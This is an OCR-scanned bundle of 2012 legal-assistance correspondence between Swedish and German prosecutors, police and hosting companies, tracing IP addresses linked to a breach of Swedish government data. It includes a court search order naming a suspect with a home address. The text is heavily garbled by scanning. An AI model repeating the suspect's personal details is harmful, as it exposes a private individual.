G e r n e  e r k l ä r e  i c h  i hn e n  d e n  G r u n d  u n s e r e r  An f r a g e  p e r  T e l e f o n . N a c h  M ö g l i c h k e i t  
b i t t e  i c h d i e Z a h l  d e r  P e r s o n e n ,  d i e  mi t d i e s e r  An f r ag e  b e t r a u t  s i nd , s o  k l e i n  w i e  
mö g l i c h z u  h a l t e n  u n d  I n f o rma t i o n e n  z u  d i e s e r  An f r a g e  v e r t r a u l i c h z u  b e h a n d e l n . 

S i e  e r r e i c h e n  m i c h  i . d . R .  z w . 0 7 . 3 0 u n d  1 2 . 0 0 Uhr p e r s ö n l i c h . 

V i e l e n D a n k f u r  i h r e  M u h e . 

s i gn a t u r : 

I c h b i t t e ,  d e n  E i n g a n g  d i e s e r  Ma i l  ON B E D I N G T I lVIMER Z U  B E S TAT I GEN 

B e r n d  G r oBroa n n  

S G  I uK / B e t r u g  

P o l i z e i p o s t e n  A k a d e mi e s t r a B e  

A k a demi e s t r a B e  l 

7 6 1 3 3  Ka r l s r u h e  

T e l . : 0 7 2 1  9 1 3 8 7 - 1 3  

r a x  0 7 2 1 9 1 3 8 7 4 9  

R e na t e  C h r i s t  
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Ka i s e r s t r . 1 2 1  
7 6 1 3 3  Ka r l s r •� h e  

T e l  + 4 9 7 2 1  9 6 6 8 2 0 ,  f AX  + 4 9 7 2 1  9 6 6 8 2 1 1  

H R B  1 0 7 4 5 3 ,  S i t z  Ka r l s r u h e , Re g i s t e r g e r i c h t : M a nnh e im 

G e s c h a f t s f ti h r e r :  D r . Andr e a s  We r n e r ,  D r .  Armi n Z unde l 

C h r i s t op h  Kau fma n n 
I N L I NE I n t e r n e t  On l i n e D i e n s t e  Gmb H 
Ka i s e r s t r . 1 2 1  
D - 7 6 1 3 3  Ka r l s r u h e  

T e l : + 4 9 - 7 2 1 - 9 6 6 8 2 - 4 3 ,  F a x : + 4 9 - 7 2 1 - 9 6 6 8 2 - 1 1  

H RB 1 0 7 4 5 3 ,  S i t z  Ka r l s r u h e , Re g i s t e r g e r i ch t : M a n n h e im 
G e s c h ä f t s f uh r e r : D r . An d r e a s  We r n e r ,  D r . A rm i n  Z u nde l 
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Baden-WOrtternberg 

Der Leitende Oberstaatsanwalt in Karlsruhe 

(Chefsåklagaren i Karlsruhe) 

Staatsanwa ltschaft Kar lsruhe, 
Akademiestr 6 - 8, DE-761 33 Ka rlsruhe 

Swedish P rosecut ion Authority 
I nternationa l  P ub l ic P rosecution Office 
Box 702 96 
S-107 22 Stockho l m  
SVER IGE  

Stäm pe l :  
I nternatione l la  Åklaga r
kammaren  Stockho lm 
Ink  2012-08-08 
AM 52 1-24-12 
109 - Hnr 233 

Datum 3 1 .07.2012 
Namn  Första a l lmän  å klaga re Bogs 
Te lefon d i rekt +49 721 926 2713 
Ärendenummer 630 AR 677/12 Rh  E 
(Ska l l  a nges l svar) 

Ang. Kontakt med Sverige gä l l a nde  rätts l ig hjä l p  i b rottmå l  

E rt ä rendenummer  AM - 52 124 - 12 
Er  ansöka n  av den 11 j un i  2012 

Bi lagor 
a)  B ladsa m l ing ( ä rendet gä l l ande rätts l ig hjä lp )  
b )  skrive lse frå n pol isposten Ka rls ruhe - Akadem iestr av den  27.07.2012 
c) Ema i l kontakt med fi rma I N L I N E  I nte rnet On l ined ienste G mbH,  Ka iserstr 121,  

DE-761 33  Kar lsruhe 

Bästa damer  och herra r, 

efter avs luta ndet av den  rätts l iga hjä lpen skicka r jag t i l l  E r  dokumenten .  De avgöra nde 
i nfo rmationerna befinner  s ig  i ema i ltrafike n  med fi rma IN  L I N E  I nternet On l ined ienste Gm bH, 
Kaise rstr 12 1, DE-761 33 Kar lsruhe .  

Med utmä rkt ko l legia l höga ktn i ng 

l tjä nsten 

Namnteckn ing 
We bel  
Al l m ä n  överå klaga re 
stä m pe l :  
Staatsa nwa ltschaft Ka r lsruhe 

Akadem iestr 6 - 8, DE-761 33 Ka rlsru he, Te lefon  +49 721 826 O, fax +49 721 926 5007, 
Spå rvagnshå l l p lats E u ropap latz, postste l le@sta kar lsruhe .justiz . bwl .de www. sta ka rlsruhe .de 
www.se rvice-bw.de  

1 
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Baden-Wurttemberg 

Polizeipräsidium Karlsruhe 

(Polispresidiet i Karlsruhe) 

Polizeiposten Karlsruhe - Akademiestrasse 

(Polispost) 

Pol izeiposten KA - Akademiestr 
Akademiestr l, DE-761 33 Karlsru he 

Datum 27 .07 .2012 
Namn  G rossma nn  

Staatsa nwa ltschaft Ka rlsruhe 
Akadem iestr 6 - 8 
DE-761 33 Ka r lsruhe 

stä m pe l :  
I nternatione l l a  Åklaga r
ka mmare n  Stockho lm 
I n k  2012-08-08 
AM 
109 - H n r  

stä mpe l :  
Staatsanwa ltschaft 
(å k laga rmynd igheten )  
3 1  j u l i  2012 
Ka rlsru he 

Ang. 603 AR  677 / 12 

Te lefon d i rekt +49 72 1 91387 13 
CNP  
Ärendenummer  SPH/1125228/2012 
(Ska l l  a nges l svar) 

Jag har  frågat fi rma l n l i ne .  Ma i ltrafiken ink lusive sva r är bifogade. 

Nam nteckn ing 

G rossma n n, po l ish uvud mästa re 

Bi laga 

Akadem iestr l, DE-761 33 Ka rlsruhe, Te lefon  +49 72 1 91387 O, fax +49 721 9 1387 49, KARLSRUHE
AKADE M I ESTRASSE . PW@po l ize i . bwl .de 
ÖPNV-a ns lutn ing 
27 ju l i  2012 

2 
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Grossmann, Bernd 

Frå n  

Skickat 

Ti l l  

Chsistoph Kaufmann (kaufmann@inl ine.de) 

Tisdagen den 24 ju l i  2012 kl 15 :01 

G rossmann, Bernd 

Cc Renate Christ 

An g Re: fwd. Fwd. WG Förfrågan gäl lande l P  adresser brådskande 

God dag herr G rossman n, 

Vi ha r  h itt i l l s  endast skickat de hä r  i nformat ionerna ti l l  herr Dia rra frå n BKA. Därför t i l lfogar jag gä rna 
det hä r  ema i let en gång t i l l  åt E r. 

Bästa herr Dia rra, 

u rsä kta vä n l igen att faststä l i a ndet av t i l l hörande  a nvändare gä l l ande lP vid den  tid punkt som Ni har 
frågat om har d röjt så lä nge, tyvärr kopp lades på grund av ett tekn iskt fe l kundservem fysika l iskt inte 
frå n efter det att kunden hade sagt upp  sig och d ä rför va r hans  lP a d ress i nte t i l lde lad ,  så att vi först 
kunde faststä l l a  denna  omstä nd igt genom e n  a n a lys av d iverse logfi les och databaser.  

Servern va r sa mord nad med fö ljande person :  

Cl ients i nformation 

{Övers. a n m . :  Engelsk text) 

3 
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Vi utgå r dock frå n att denne dator ha r  utsatts för hackers och att den a ntagl igen inte sjä lv ä r  
förorsaka ren .  l P  ad resserna ä r  n u  spä rrade, v i  ha r  vidtagit åtgä rde r  för att förh indra sådant i 
fra mtiden .  Servern i och för sig stå r fortfa ra nde t i l l  förfoga nde och ka n vid behov sä kerstä l las .  (Om 
detta är nödvä nd igt så ber vi att sna bbt ge oss besked om detta, så att vi ka n avlägsna den här 
se rvern frå n prod u ktivd riften ) .  

Med vä n l iga hä l sn inga r 
Christoph  Kaufmann  

Origina l  medde lande 

Förfråga n gä l l ande l P  ad resser An g 
Datum 
Frå n  

Tisdagen d e n  24 ju l i  2912 k l  11 :52 :06 +000 
G rossma n n  Bernd Bernd .Grossma nn@po l ize i . bwl .de 

<ma i lto : Bernd .Grossman n@pol ize i . bwl .de> 
Ti l l  chsrist@in l ine .de 

Bästa fru Christ, 

tyvärr ha r  jag fra m ti l l  i dag i nte fått något sva r på m i n  förfrågan.  Ka n Ni vä n l igen faststä l la, vad som 
ha r  hänt med sa ken?  De svenska myndigheterna har  angett den  hä r  saken som ytterst brådskande.  
Hjä rt l igt tack för E ra an strä ngn ingar  

Bernd G rossma n n  
Po l i shuvud mästa re 

U rsprungl igt medde la nde 
Frå n  G rossma n n, Bernd 
Skickat Onsdagen den 11 j u l i  2912 k l  09 :28 
Ti l l  ch rist@in l ine .de 
Ang WG : Förfråga n gä l l ande lP ad resser 

4 

1 2 1 



Rättshjä lp 630AR677/1 2 Baden-WOrtternberg Översättn , 20 1 3-03-27 1 4 : 1 4  d iarienr :  0201 -K8 1 864-1 2 

Hej, fru Ch rist, 
jag ö nska r be Er att kort bekräfta för m ig att Ni ha r  erhå l l it m in  förfrågan samt att om möj l igt 
medde la  m ig, u ngefä r när  som jag kan rä kna med ett sva r på m in  förfråga n .  

Hjä rt l igt tack för Era a nsträngn inga r 

Bernd G rossma n n  

U rsprung l igt medde lande 
Frå n G rossma n n, Bernd 
Skickat 
Ti l l  

M å ndagen d e n  9 j u l i  2012 k l 15 :03 
christ@in l ine .de 

An g Förfråga n gä l l ande l P  ad resser 

Bästa fru Ch rist, 

m i n  ko l l ega Mal itor hade fört ett telefonsamta l med Er de bad om de berörda l P  adresserna .  

Jag ha r  berörda I Ps i det bifogade  PDF  dokumentet . 

Jag ber  E r  att t i l l  m ig skicka a l la info rmationer  som N i  ha r  om de här  l P  ad resserna .  

Jag förk la ra r  gärna för E r  skä let t i l l  vå r förfråga n på telefon .  Om möj l igt ber jag E r  att hå l la det a nta l 
personer  som ha r  att göra med den  h ä r  förfrågan så l itet som möj l igt, och att behand la info rmationer 
om den här förfråga n med sekretess. 

N i  n å r  m ig som rege l person l igen me l l an  k locka n 07 :30 och 12 :00. 

Hjä rt l igt tack för E ra a nsträngn inga r 

signatur :  

Jag ber E r  att OVI LLKO RLIG E N  ALLTI D BEKRÄFTA att  N i  ha r  erhå l l it det  hät ma i let. 

Bernd G rossmann  
SG l u K f Bed rägeri 
Po l i ze iposten Akademiestr 
Akademiestr 1 
DE-76 1 33 Ka r lsruhe 

Te lefo n  
Fax 

Renate Ch rist 

+49 721 91387 - 13 
+49 721 91387 49 

s 
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I N L I N E  I nternet On l i ne  D ienste Gm bH 
Kaiserstr 121 
D E-761 33 Karlsruhe 

Te lefo n  
Fax 

+49 721 966 820 
+49 721 966 82 11 

H R B  107 453 Företagssäte Ka r lsruhe, Registe rdomstol Mannhe im 
Verkstä l l a nde d i rektör Dr .  And reas Werner, Dr .  Arm in  Zunde l  

Chsstoph  Ka ufmann  
I N L I N E  I n te rnet On l i ne  Dienste GmbH  
Ka iserstr 121  
DE-761 33  Kar lsruhe 

Te lefon  
Fax 

+49 72 1 966 82 43 
+49 721 966 82 11  

H R B  107  453  Företagssäte Kar lsruhe, Registerdomstol Man nhe im 
Verkstä l l ande  d i rektör Dr .  And reas Werner, Dr.  Arm in  Zunde l  
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•:•:• Staatsanwaltschaft F ra n kfu rt a m  Ma in 
Der Leitende Oberstaatsanwalt  
- Internationate Rechts h i lfe -

Stoollanwollocllefl - 80256 �rankfun am Moln 

l,er .Fax - Nr. +46 10 562 54 83 
International Public Prosecuti on Office 
Stockholm l Schweden 

Ih r Rechtshilfecrsuchen vom 11. • .Juni 2012 
in ein cm Verfahren b ctrcffend Lenseweb 
lbr Zeichcn: AM-521 24-12 

Sehr geehrte Damen und Henen, 

Aktc:nT.c: ichcn : 9408 AR 301464/1 2 RH 
Dst. -Nr.: 0231  
Elenrheiler/in ;  Staaleanwelt Dr. Kmch 
Durchwnh l :  +49 (0)  69 1 367 - 2 1 48 
Sckrcrorint: •49 (O) 69 1 367 - 81 63 eder 8804 
Fnx: +49 (O)  69 1 367 - 621  O 

�=� 
� 

E·Mni l .  ln tarnatlonale-rechtsh!Jfa@!liD·frflnMvrt.iu5ti�.he55en.de 

Dnturn . 21 , Soptom bor 201 2 

in Erl edigung Jhres Ersuchens vom 1 1 . Juni 20 1 2  Ubersende ich lhnen anbei den Vermerk des 
Polizeipräs idiums Frankfurt am Main vom 1 7 , September 2 0 1 2 nebst Schreiben des 
LeaseWeb Germany GmbH vom 1 4 . September 20 1 2 . 

Dr. Krach 
Staatsanwalt 

6025S Frankfurt om Main 
DEUTSCHLAND 

Tolofon; +49 (O) 69 1 367 - 81 63 
Tolo fnx. +49 (O) 99 1 367 - 6(1 O 

Die Elmoichung elaktronischer Dokumonto is l in den zugelocconon Vetfonren mögllch. c lo no www.eta-frankfurt.justlz.ho&aen .de 
!ll1e�o:rt .Rolll 

011 l 02. 12.!lll 122) 
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P o l lze l p räs l d l u m  F ra n kfu rt  

K rimi n a l d i re kt lon 

K352 • lnternetkrlm l n a l ltä t 

Ad lckes a l lee 70 
60322 Frankfu rt am Main 
Sachbearbeiter 
Telefo n  Fax 

Vermerk 

P o rs c h e ,  K H K  
069/755-53520 
069/755·53509 

V N r. ERS/1 079346/201 2 

Datum 1 7 .09 .201 2 

Telefon 069 - 755 53508 

Fax 069 • 755 53509 

l n t e r n aJ: i .:; ,- . -:��·&"_.;.-:-,-, a_g_a_r_- 
ka ill mc  · � , , _' ' -: -:.+ h al m 

I n k . 
AM-

2 8 1 2  -Q'l- z 5 

1 09- l ri n r.  

D e r  B esch luss z u r  R echtsh i l fe ko nnte leid e r  n icht m e h r  gewinn bringend vol lstreckt we rde n .  

1 25 

Der Serve r wurde bereits vor  lt!! ngerer  Zeit  geku ndigt. H ie rbei werden genere l l  al le  Daten auf dem betreffenden 
,Le ih-Computer" (Dedizierte Servar)  d u rch die F i rm a  LeaseWe b GmbH ge loscht, darnit d e r  Computer einem 
anderen Ku nden zur Verfu g u ng gestelit we rden kan n .  Wan n  gena u d ie  KO nd igung/d ie Loschung  der Daten eriolgte kann aufgrund der inzwischen verstrichenen Zeit n icht mehr In  Erfahrung gebracht we rden . Ebe nso sind 
die Ku ndendaten nicht mehr zu r ang efragten lP verzeich net. 

Weitere Erm ittlungsansatze waren le ider auch bei der Fa. LeaseWeb Germany GmbH n icht mehr 
recherchierbar. 

--·� ..... 
/:i / (_,-C-----

1 7 .09.20 1 2"'  P o rs c h e ,  KHK 
D alum Unlarschrlll, A•nWbe;;.eichnung 

L)i�nslolonan�opi_P1 0 So\lo 1 von 1 01 1 2009 
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� b  �� leaseweb 

Kri m i n ia ld i rektion 

Adickesal lee 70 

6 0 322 Frankfurt am Main  

AZ: ERS/1 0 79346/20 1 2  

l h re Anfrage v o m  

S e h r  g eehrter Herr  Porsche , 

ADR CSSE 
Lcas�Web G e rm;my Gm b H  
Klcyt:: rstr� �sc 79 / To r 1 3  
603 26 r.r�nkfu rt n m M :J i n  
Gcrm�ny 
TeL�FON 
+49 (0 )69 905 568 BO 
FAX 
+49 (O)G9 905 568 822 
e M AIL 
lnfo @ lc�5eweb.d e 
INHRN� 
www. lcaseweb.de 

r--- - --- - ------
l n rern �-t , .- , , . i, ' - 1 

1 .  • •  - ._ . . :  .. -.. K . ao ar-k a rr m ::  � -_ � l�h;-lm 
! nk . Z n 1 ?  -C9- 2 5 
AM-

1 09- -� H�r. 

1 4 .  September 201 2 

der Server m it d e r  l P : 46 . 1 65 . 1 96 . 1 82 wurd e  g e kund igt u nd d ie Date n  wurden 
u nwiederbring l ich gelöscht.  
Zu d ieser  lP sind keine Bestandsd ate n mehr gespeiche rt .  

M it treundl ichen G ru r..en 

s/ 

Sascha Schmidt 

Secu rity E n g i n ee r  
LeaseWeb G l o b a l  Services 

LcascWeb Genn;)ny Gm bli l Gc:;�h5ftsflihrcr:  Ruud M o u � ,  Wlcth old WilGMr 
Amtsgn r lcht Frankfurt � m  Mai n l H RB 89607 l UStlD 81 5236043 
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+49 69 1 36762 1 0  

Åklagarmyndigheten i Frankfurt am Mai  n 
Ledande överåklagaren 
- internationel l  o rättsl i g  hjälp -

Åklagarmyndigheten - 80268 Frankfurt am Mai n 

Per fax till nummer +46 10 562 54 83 
International Public Prosecution Office 
Stockho lm/S verige 

Referens nummer: 

Tjänsteställe nr: Handläggare: 
Direktnummer: 
sekretariatet: 

9408 AR 301464/12 RH 
023 1 Åklagare Dr. Krach 
+49 (0) 69 1 367 - 2 1 48 
+49 (0) 69 1 367 - 62 1 0  

H ESSE N  

• 

E-post: 
Datum: 

i n tern ationale-rechtshi !fe@ sta-frankfurt. j u st i z.hessen .de 
21 september 201 2  

! st�impel : Internat ione l la  Ak l agarkammaren 
Stockhol m 

Er begäran om rättslig hjälp från 1 1  juni 2012 i 
ärendet Leaseweb 

Er referens: AM-52124-12 

Ink .  20 1 2-09-25 
AM- 52 1 24- 1 2  
C 1 09-37 Hnr. 2561 

I ärendet gällande er begäran från den 1 1  juni 201 2  skickar jag över polispresidiet i Frankfurt am 
Mains anteckningar från den 1 7  september 20 1 2  jämte skrivelsen från LeaseWeb Germany GmbH från 
den 1 4  september 201 2. 
Med vänlig hälsning 
På uppdrag av 
[namnteckn ing ]  
Dr. Krach 
Åklagare 

l stämpel : ÅKLAGARMYNDIGHETEN FRANKFURT AM MAIN] 

60258 Frankfurt a m  Main Telefon:  +40 (O) 69 1 367 - 8 1 63 
TYSKLAND Fax +49 (O)  69 1 367 - 621 O 
Det är möjligt att lämna in elektroniska dokument genom ett godkänt förfarande, se www.sta-frankfurt.justiz .hessen.de 

..._ ______ , 
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+49 69 1 367621 o 

Polispresidiet i Frankfurt 
Krim i naldirektionen 
K352 - i nternetkriminal itet 
Adickesal lee 70 
60322 Frankfurt am Mai n 

Ref .nr  E RS/1 079346/201 2 
Datum 20 1 2-09- 1 7 
T e l  e fon 069 - 755 53508 
Fax 069 -755 53509 

Handläggare 
Telefon 

Porsche ,  kr iminalöverkommissarie 
069/755-53520 

Fax 069/755-53509 

Anteckn ing 

[stämpe l :  Internationel l a  Åklagarkammaren 
Stockho lm 
Ink .  201 2-09-25 
AM: 
1 09 Hnr. ] 

Beslutet om rättslig hjä lp kunde tyvärr i nte längre verkstäl las med ett g ivande resu ltat. 
Servem sades u pp för en lång tid sedan.  Härvid raderar f i rman LeaseWeb GmbH generel lt  
al l  data på den ifrågavarande " lånedatorn" (dedikerad server) så att d atorn kan stä l las t i l l  
förfogande för en  annan kund. På grund av den tid som förflutit g år d et inte att få fram exakt 
när uppsäg ningen/raderingen skedde .  Likaså är kunddata inte längre reg istrerade för den 
efterfrågade l P-adressen .  

Ytter l igare utredningar g ick tyvärr inte längre att göra vid f i rman LeaseWeb Germany GmbH.  

+[namnteckn ing] 
201 1 -09- 1 7  Porsche ,  kri m i nalöverkommissar ie 
Datum Underskrift , befattn ing 

Tjänsleställemali_01 o 
0112009 
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E� leaseweb 

leaseWeb Gm bH Kleyerstrasse 79 ! Tor 1 3  60326 Frankfurt 

Kriminaldirekt ionen 
Adickesallee 70 
60322 Frankfurt am Main 

R ef . : E R S/1 0 79346/201 2 

Er förfrågan från :  
T i l l  h err Porsche :  

ADRESS 
LeaseWeb Germany GmbH 
Kleyerstrasse 79 / port 1 3  
50326 Frankfurt a m  Mai n 
Tyskland 
TELEFON 
+49 {O) 69 905 568 80 
FAX 
+49 (O) 69 905 568 822 
E-POST 
lnfo@leaseweb.de 
INTERNET 
www.leasenet.de 

[stämpe l :  Internat ionel la Åklagarkammaren 
Stockho lm 
I nk .  20 1 2-09-25 
A M :  
l 09 H nr . ]  

1 4  september 201 2  

Servem med l P-nummer:  46. 1 65 . 1 96. 1 82 har sagts upp och data har raderats oåterkal le l igt .  

För denna l P-adress f inns inga lag erdata längre sparade.  

Med vän l ig hälsning 
[namnteckning) 
Sascha Schm idt 
Security Engineer 
LeaseWeb G lobal Services 

leaseWeb Germany GmbH vd: Ruud Mous, Wiethold Wagner 
Tingsrätten i Frankfurt am Main HRB 89607 Momsnummer 8 1 5236043 

1 29 
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Senatsverwaltu ng fii r J ustiz 
u n d  Verbrauchersch utz 

Senatsverwaltun g  fO r J ustiz und Verbrauchersch utz 
Sa lzburger Str. 21 - 25 • 1 0825 Berl i n  

Luftpost!Ei lzuste l l u ng 
l ntern atione l la  Aklagarkam m a ren 
Box 70296 
1 07 22 stockha lm 
S C HWE D E N  

Geschäftszeichen (bitte immer a ngeben) 

I l  CE 8 - 9352/E/1 050/20 1 2  
Bearb . :  Herr Konarski 
Telefo n  (O 30) 90 1 3  - 301 2 
(Vermittl g . )  90 1 3-0 
( I ntern) 9 1 3  
Telefax: 90 1 3-20 DO 
Internet: www.berl in .de/senjust 
E-Mai l :  poststel le@senjust. berl in .de 

Datum: 1 7 . September 20 1 2  

Rechts h i lfeersuchen i n  e i nem Strafverfah re n  gegen Math ias G ustafsson u n d  andere 
l h r  Sch re iben vom 1 4 . J u n i  20 1 2 - AM - 52 1 24 - 1 2 - a n  d ie Staatsanwaltschaft Berl i n  

3 Anlagen 

Sehr g ee h rte Damen und Herre n ,  

ich g estatte m i r, l h ne n  d as Antwortsc h re iben d e r  Staatsanwa ltschaft Berl i n  vom 2 8 .  Au
g u st 2 0 1 2 - 283 AR 97/ 1 2 - nebst Anlagen zu uberreichen .  

l h r  e ingangs e rwä h ntes Rechts h i lfeersuchen n ebst Anlagen ist wiede r  beigetugt .  

M it vorzu g l icher Hochachtu n g  
l m  Auftrag 

if ] ,'11 ,l . f/1 b (/ [ fl'l; 
Kon a �s k i  

l 

Verkehrsverbi ndungen : öOii 1 04 ,  M 46 b i s Rathaus Schöneberg,  1!1 4 bis Rathaus Schöneberg � .  1!1 7 bis Bayerischer Platz � 
E i n g a  ng zu m Die nstgebäude. Salzburger/Ecke Badensche Stral1e, 1 0825 Berl in-Schöneberg 

Zahlungen bitte b a rgeldias an d ie  Landeshauptkasse Berl i n ,  1 0789 Berl i n ,  a u f  eines der falgenden Konte n :  

Geldinstitut 
Postbank Berl in 

Kontonummer 
58 - 1 00 

Bankleitzahl  
1 00 1 00 1 0  

Geldinstitut Kontonummer 
Deutsche Sundesbank 1 o 001  520 

Bankleitzahl 
1 00 000 00 

1 30 
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Staatsanwaltsch aft Berl i n  

Staatsa nwaltschaft B e rl i n ,  1 0548 Berl i n ,  GSt: 283 

Staatsanwaltschaft Stockhol m 

1 3 1 

G eschäftszeichen bei Antwort bitte 
angebe n :  283 AR 97/1 2 

Dienstgebäude :  
1 0557 Berl i n ,  Kirchstr. 7 

Tel- Durchwah l  (030) 90 1 4  O 
Zentra le (030) 90 1 4  O 

Fax Zentra le  (030) 90 1 4  33 1 0  

E-Mai l :  poststel l e@sta . b e rl i n . d e  (nicht tur frist- und formwahrende Schreiben) 
Datum :  28 .08 .20 1 2  

l h r  Rechts h i lfeers u c he n  vom 1 4. J u n i  201 2 - Aktenzeich e n :  AR-521 24-1 2 - i n  e i n em 

Ermittl u n g sverfa h re n  gegen M athias G ustafsson u .  a .  

Anl a g e n :  8 Schriftstocke 

Sehr g ee h rte D a m e n  und H e rre n ,  

a ufg ru n d  d e s  varg e n a n nten Rechtsh i lfeers u chens e rl a u be i c h  m i r, d e n  Verl a uf u n d  das 

Erg e b n i s  d e r  g efO h rten Erm ittl u n g e n  zu O berm itte l n .  Bei  der  I P-Ad resse 2 1 7 . 1 3 . 1 97 . 5  

h a n d e lt es s ich u m  e i n e n  s o  g e n a n nten "To r-Server" ,  d e r  a l s  Anonymis ieru n gsserver d ient .  

H inweise z u  N utzern u n d  Ansch l u s s i n h abern konnte n i cht g efunden werd e n .  

M it vorzOg l icher  H och achtung 

' . . t/{3� 
( N i e l s e n )  
O be rstaatsa nwälti n 

G 

Anschrift fOr Briefsendungen:  
1 0548 Berl in 
Anschrift fOr Paketsendungen:  
Turmstr. 9 1 , 1 0559 Berl in 

Verkehrsverbindungen (unverbin d lich) 

Busse 1 87 , 245,  1 23 ,  M27, TXL; U-Bhf 
Turmstr . ;  S-Bhf. Bel levue 

B arrierefreier Zugang 

Wilsnacker Str.  4 

Sprechzeiten 

Mo, Di, Do 08:30 - 1 5:00 U hr 
Mi und Fr 08:30 - 1 3:00 U hr 
Weitere Termine nach 
Vereinbarung 
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Amtsgericht T iergarten 
Besch i u ss 

Geschäftsnummer: (350 Gs) 283 AR 97/1 2 ( 1 766/1 2) 

l n dem Ermittlu ngsverfahre n  g e g e n 

Bror Olof M athias G u s t a f s s o n , 
Geburtsdaten unbekannt, 
Timmermansvägen 1 4 1 ,  77 1 51 Ludvika, 
n i cht angegebener Staatsangehöri g keit, 

wegen Versto !1es gegen Datenschutzrechtl iche Bestimmungen 

Datum :  20 . 07 . 20 1 2 skB 

wird auf Antrag der  Staatsanwaltschaft Berl in  vom 1 8 . 07 .20 1 2  gemäl1 §§ 1 03 ,  1 05 StPO d i e  
D u rchsuchu ng d e r  W oh n - ,  Geschäfts- und Nebe n räume 

der Firma Speed bona Internet & Connectivity GmbH, U l rich Eckard c/o Speed bona Gmb H ,  
Alboi nstr. 36 - 42, 1 21 03 Berl in  

angeordnet, da Tatsachen vorl iegen , aus denen zu schl ieBe n  ist, dass d i e  Durchsuchung zum 
Auffi nden von Beweism ittel n  fu hren wird , näm lich 

H i nweise zu N utzern bzw. Ansch l ussi nhabern der dem Beschuldigten durch die Betroffene 
bereitgestel lten jewe i l igen Dienstleistu n g ,  i nsbesondere Daten von N utzern/Anschl ussinhabern 
(Anschrift, Telefonnu mmer, Bankkontoverbindungen ,  Art der abg e rufenen Dienstl eistung) 

· 

sonstigen Kontakten des Beschu ld igten ,  insbesondere Ober die dem Beschuld igten 
zuzuordnenden l P-N ummer 2 1 7 . 1 3 . 1 97 . 5. 

Der Besch uldigte ist verdächtig ,  gegen Bestim mungen des Datensch utzes verstoBen zu hab""l . 
! h m  wird nach Angaben der schwedischen Behörden falgendes vorgeworfen:  
Es gab Zugriffe auf e inen von einer privaten Firma betriebenen Mainframe-Computer, auf  dem 
grof.!,e Mengen Personen� und Erhebungsdaten der schwed ischen Steuerbehörde e inschl ie111 ich 
g eschutzter Personendaten und Daten finanzie l ler  Art gespeichert ware n . Auf ei ne g ro l1e 
Datenmenge der Strafverfolgungsbehörde und der Pol izei wu rde ebenfal ls zugeg riffe n .  Auf Daten 
wurde n i cht nu r zug eg riffen , sondern diese wu rden auch in g röl1erer Menge heruntergeladen . 

Die Dateien , auf die zugegriffen wu rd e ,  kän nten Behörden ,  Firmen und Ei nzel nen beträchtl ichen 
Schaden verursachen .  Die von der fortdauernd e n  U ntersuchung betraftenen Zugriffe stel len 
wah rscheinlich d ie schwerwiegendsten fOr m it öffentl ichen Behö rden verbundene schwedische IT
System e  dar. 

D ie  notwendige Bewil l igung d e r  Rechtshi lfe durch die Senatsverwaltun g  fOr Justiz l i egt vor. 

Dem Betraftenen wi rd die Mögl ichkeit e ingeräumt, die Durchsuchung durch freiwi l l ige Herausgabe 
der genannten Beweism ittel abzuwenden. 

AVR1 
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Die Anord n u ng der Durchsuchung in  dem vargenannten Umfang ist i m  Hinbl ick auf den Tatvorwurf 

und die ärke des Tatverdachts verhältn ism äl1ig , insbesondere sind mi ldere Mal1nahmen beim 
derz · Igel) Ermittl ungsstand nicht ersichtlich . 

U . m .A. 
der Amts/Staatsanwaltschaft Berl in 
nach Erled ig ung zurOckgesandt 

c:� 
Richterin am Amtsgericht 

)1- J 
2 5. Ju ! i  20 1z/4 



LKA 335 - 1 20807- 1 530-035294 PK Hohenste in ,  Tel: +49 30 4664 933504 

Tätigkeitsbericht 

1 .  Ereignisbe�eichnung 
Ereignis l Del i kt 
Zusatzbezeichnung 

Versuch 

AusfOhrung einer Anordnung der J ustizbehörd e  
DURC HSUCHUNG - El  l T! Haftsache (Rechtsh i lfeersuchen) 
Nein Rechts,norm 

1 . 1 .  Ereignisort 
StraBe Alboi nstr. 36 PLZ Ort l Ortsteil 1 2 1 03 Berl in l Schöneberg 
Nation Deutschland 
Verwaltungsbezirk Tem pelhof-Schöneberg Pol izeibereich 

1 .1 . 1 .  Ergänzungen zum Ort 
Örtlichkeit 

1 .2. Ereigniszeit 
Anfang 
Ende 

2. Beteil igte 

2 . 1 . I nstitution 
Art der Institution 
Name der Institution 
Organisationseinheit 

2.1 .1 . Anschriften 
Hauptsitz PLZ Ort l Ortsteil 
Nation 
Verwaltungsbezirk 

2.1 .2. Repräsentant 
2.1 .2.1 . Personalien 

I nternet 

Freitag 0 1 . 0 1 . 20 1 0 
San ntag 1 5. 04.20 1 2  

Firma 
Speedbane I n te rnet & Con nectivity 

Rechtsform 

Alboinstr. 36 1 2 1  03 Berl in l Schöneberg 
Deutsch land 
Tem pelhof-Schöneberg Polizeibereich 

rechtmäBige Personal ie Eckard, Ulrich 
Geschlecht m�n nl ich 

3. Sachverhalt 

4406 

Gm bH 

4406 

Ober e in  Rechtshi lfebakommen aus Schweden wurde die StA Berl in  d ahingehend tätig ,  dass sie d ie 

Durchsuchu ng der Wohn-, Gesch.:1fts- und Nebenraume der Firma Speedbane anord nete. Dabei 

so l len al le Daten erhoben werden die zur Nutzu ng der IP-Adresse 2 1 7. 1 3 . 1 97 .5  vorha nden sind .  

(Nfk�bo;c!; 
Tätigkeitsbericht - 1 20807-1 530-035294 Dokument erstel lt: 1 0 .08 .20 1 2  Seite 1 von .  

gedruckt: 1 0 .08 .201 



LKA 335 - 1 20807-1 530-035294 PK Hohenste in ,  Tel : +49 30  4664 933504 

Durchsuch ung 

1 . 1 .  Durchsuch�ngsort . · 
StraBe Alboi nstr. 36 

. PLZ Ort l Ortsteil 1 2 1 03 Berl in l Schöneberg 

Nation Deutschland 
Verwaltungsbezirk Tempelhof-Schöneberg Pol izeibereich 

1 .1 .1 .  Ergänzungen zu m Ort 
Örtllchkeit Geschaftsbau Räuml ichkeit Buroraum Eigenname d. Örtl ichkeit Speedbane 
Lichtverhältnisse Tagesl icht 
Beleuchtung gut beleuchtet 

1 .2.  Durchsuchungszelt 
Anfang Freitag 1 0 . 08.20 1 2 , 09:30 U h r  
Ende Freitag 1 0.08 .20 1 2  

2. Betroffener 

2.1 . I nstitution 
Firma Art der Institution Name der Instituti on 

Organisationseinheit 

' Speed bane I nternet & Con nectivity Rechtsform 
2.1 . 1 . Anschriften 
Hauptsitz Alboinstr. 36 
PLZ Ort l Ortsteil 1 2 1 03 Berl in l Schöneberg 
Nation Deutschland 
Verwaltungspezirk Tem pelhof-Schöneberg Polizeibereich 

3. Angaben zur Durchsuchung 
StPO Gefahr i m  Verzug 

4406 

Gm bH 

4406 

